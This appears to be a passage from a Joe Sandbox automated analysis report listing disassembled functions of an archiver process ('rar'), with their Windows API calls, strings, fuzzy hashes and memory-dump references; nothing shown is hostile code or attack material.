_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA820BE

Strings

-, xrefs: 00007FF6FAA81B8B
+, xrefs: 00007FF6FAA81B96

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: b22f9509dc7b02dd4cd0173df87b0f04ac55ea39c7c441756f44938da9ab2299
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: 3C12A336E0D1C385FB659A1590442B967A6EF00764FD842B2D6BAC36C4FF2CEA5EC305

Function 00007FF6FAA3E49C Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF6FAA3E523
BackupRead.KERNEL32 ref: 00007FF6FAA3E572
BackupSeek.KERNEL32 ref: 00007FF6FAA3E5CB
BackupRead.KERNEL32 ref: 00007FF6FAA3E641
BackupSeek.KERNEL32 ref: 00007FF6FAA3E679
wcschr.LIBVCRUNTIME ref: 00007FF6FAA3E6B4

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Backup$Read$Seek$wcschr
String ID:
API String ID: 2092471728-0
Opcode ID: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction ID: 627d8a710858ec0b5e3e5ce69ee2e864eb0ff34c8dc277725a2529dace0965df
Opcode Fuzzy Hash: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction Fuzzy Hash: E951543261874186EB70CF25E44116AB7E5FB89B94F500275EAAD83BD8EF3DD54ACB00

Function 00007FF6FAA6BC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA46754: GetVersionExW.KERNEL32 ref: 00007FF6FAA46785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6FAA6BCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF6FAA6BCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF6FAA6BD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FAA6BD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FAA6BD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF6FAA6BD68

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: 004973dd8e8815e9cfeb96b621cf0f066da84487180851a2dadfed82a6a93ffc
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: 82513BB2B14655CAEB54CFB8D4405AC37B1F708788B50403ADE1E9BB98EE38D55ACB00

Function 00007FF6FAA6C254 Relevance: 9.1, APIs: 6, Instructions: 81timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6FAA6C2B8

Part of subcall function 00007FF6FAA46754: GetVersionExW.KERNEL32 ref: 00007FF6FAA46785

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6FAA6C2DA
FileTimeToSystemTime.KERNEL32 ref: 00007FF6FAA6C2E6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6FAA6C2F6
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FAA6C304
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FAA6C312

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction ID: 71845e03dcd21cac66290fe2f0dfd3dbe741d49373ab57b72e4fbb26bc152a07
Opcode Fuzzy Hash: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction Fuzzy Hash: DA313C63B1465189FB00CFB4D8901BD7770FB08B58B54502AEF1E97AA8EF38D59AC704

Function 00007FF6FAA5EB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA272C4: new.LIBCMT ref: 00007FF6FAA273DE

new.LIBCMT ref: 00007FF6FAA5EBB4

Strings

rar, xrefs: 00007FF6FAA5ECF2
exe, xrefs: 00007FF6FAA5ECDC
rebuilt., xrefs: 00007FF6FAA5ECA3
sfx, xrefs: 00007FF6FAA5ECC9

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: 6e68e50000319b4eebb2839910dcdd3d0876ffe75523bb5545768418df304233
Instruction ID: 20ef29a77e247cded6773a9a49647bd9b5eb0f9134f634604f8bdbef2d1f59cb
Opcode Fuzzy Hash: 6e68e50000319b4eebb2839910dcdd3d0876ffe75523bb5545768418df304233
Instruction Fuzzy Hash: 5A81A432A1868259EB31DB29D5112F92392FF86384F4041B5D96D8B6CAFE2DE60FC744

Function 00007FF6FAA7E0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF6FAA7E0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6FAA7E1BC
RtlUnwindEx.KERNEL32 ref: 00007FF6FAA7E20B

Strings

f, xrefs: 00007FF6FAA7E13A
csm, xrefs: 00007FF6FAA7E1A2

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: 8a3b68047349bbac2fc7137e747a219e6920596bc585bce732736b1746be9e5a
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: 0461A032A0964286EF24DB11E544A7A3791FB54B98F1485B0DE2A877CCFF3CEC4A8740

Function 00007FF6FAA3EA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF6FAA3EBC2), ref: 00007FF6FAA3EA7C
GetFileSecurityW.ADVAPI32(?,00007FF6FAA3EBC2), ref: 00007FF6FAA3EABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF6FAA3EBC2), ref: 00007FF6FAA3EB0A

Strings

, xrefs: 00007FF6FAA3EAE3
ACL, xrefs: 00007FF6FAA3EB39

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: c34f75d4c9e1b6151a449c413ade45c4d6a01b9e1c4ec2f4d9961236cde24a77
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: E4318271A19B8192E720DB11E4513EA63A4FB88784F804071EA9D836DAFF3DE61EC700

Function 00007FF6FAA27188 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

CompareStringOrdinal.KERNEL32 ref: 00007FF6FAA2722B

Part of subcall function 00007FF6FAA46754: GetVersionExW.KERNEL32 ref: 00007FF6FAA46785

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF6FAA268EB), ref: 00007FF6FAA271CB
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF6FAA268EB), ref: 00007FF6FAA271E0

Strings

CompareStringOrdinal, xrefs: 00007FF6FAA271D6
kernel32.dll, xrefs: 00007FF6FAA271C4

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressCompareHandleModuleOrdinalProcStringVersion
String ID: CompareStringOrdinal$kernel32.dll
API String ID: 2522007465-2120454788
Opcode ID: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction ID: 166e381b04dec4fa15cc15dd2a37ddccbdcb71f85aa6bc571aa2e9d314b8f692
Opcode Fuzzy Hash: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction Fuzzy Hash: F6217C21B0C64281E7519F16A94527962E1BF56BC0F5441B5EE7DC3AD8FF2CE65F8300

Function 00007FF6FAA6BE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA6BC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6FAA6BCEF
Part of subcall function 00007FF6FAA6BC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF6FAA6BD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA6BEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA6BED8

Strings

%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF6FAA6BE80
????-??-?? ??:??, xrefs: 00007FF6FAA6BEDF
%u-%02u-%02u %02u:%02u, xrefs: 00007FF6FAA6BEB8

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: 5c6f4f16b51ef08bfa2665717822e304f6fa4cd944cf8328015186120d4a8693
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction Fuzzy Hash: 3F21E476A186418AE760CF69E580A9D77F0F748794F144062EE68D3B88EF39E9468F10

Function 00007FF6FAA824D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6FAA824F4
GetProcAddress.KERNEL32 ref: 00007FF6FAA8250A
FreeLibrary.KERNEL32 ref: 00007FF6FAA8252F

Strings

mscoree.dll, xrefs: 00007FF6FAA824EB
CorExitProcess, xrefs: 00007FF6FAA82503

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction ID: 2fbbf4ee03afaa47b76f694e6444c8b4631a2dc420ec98597e076564bd9fe204
Opcode Fuzzy Hash: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction Fuzzy Hash: 34F04421A1968281EF498B11F5542792360EF8C780F441079E96FC66D8EE3DD45E8700

Function 00007FF6FAA8C654 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction ID: 72508f3df279a8b7954af307181bf2c234edc6fddc7142b7863a22033494e041
Opcode Fuzzy Hash: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction Fuzzy Hash: 32A1C162A0C7C296EB618F6094403B967A1AF44BA4F4846B5DA7D877C5FF3DE44A8B00

Function 00007FF6FAA87AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA87AF9

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: 6a97b85c0a853eac2be056d4848eab349eadd13d1cbe351276db03d42d8274df
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: 0081DBB2E5C68285F7229B6588806BD67B0BB44B88F4441B5DE2E937D5EF3CE44BC710

Function 00007FF6FAA87428 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6FAA87C5B), ref: 00007FF6FAA87485
WideCharToMultiByte.KERNEL32 ref: 00007FF6FAA87561
WriteFile.KERNEL32 ref: 00007FF6FAA87587
WriteFile.KERNEL32 ref: 00007FF6FAA875C6
GetLastError.KERNEL32 ref: 00007FF6FAA875FE

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
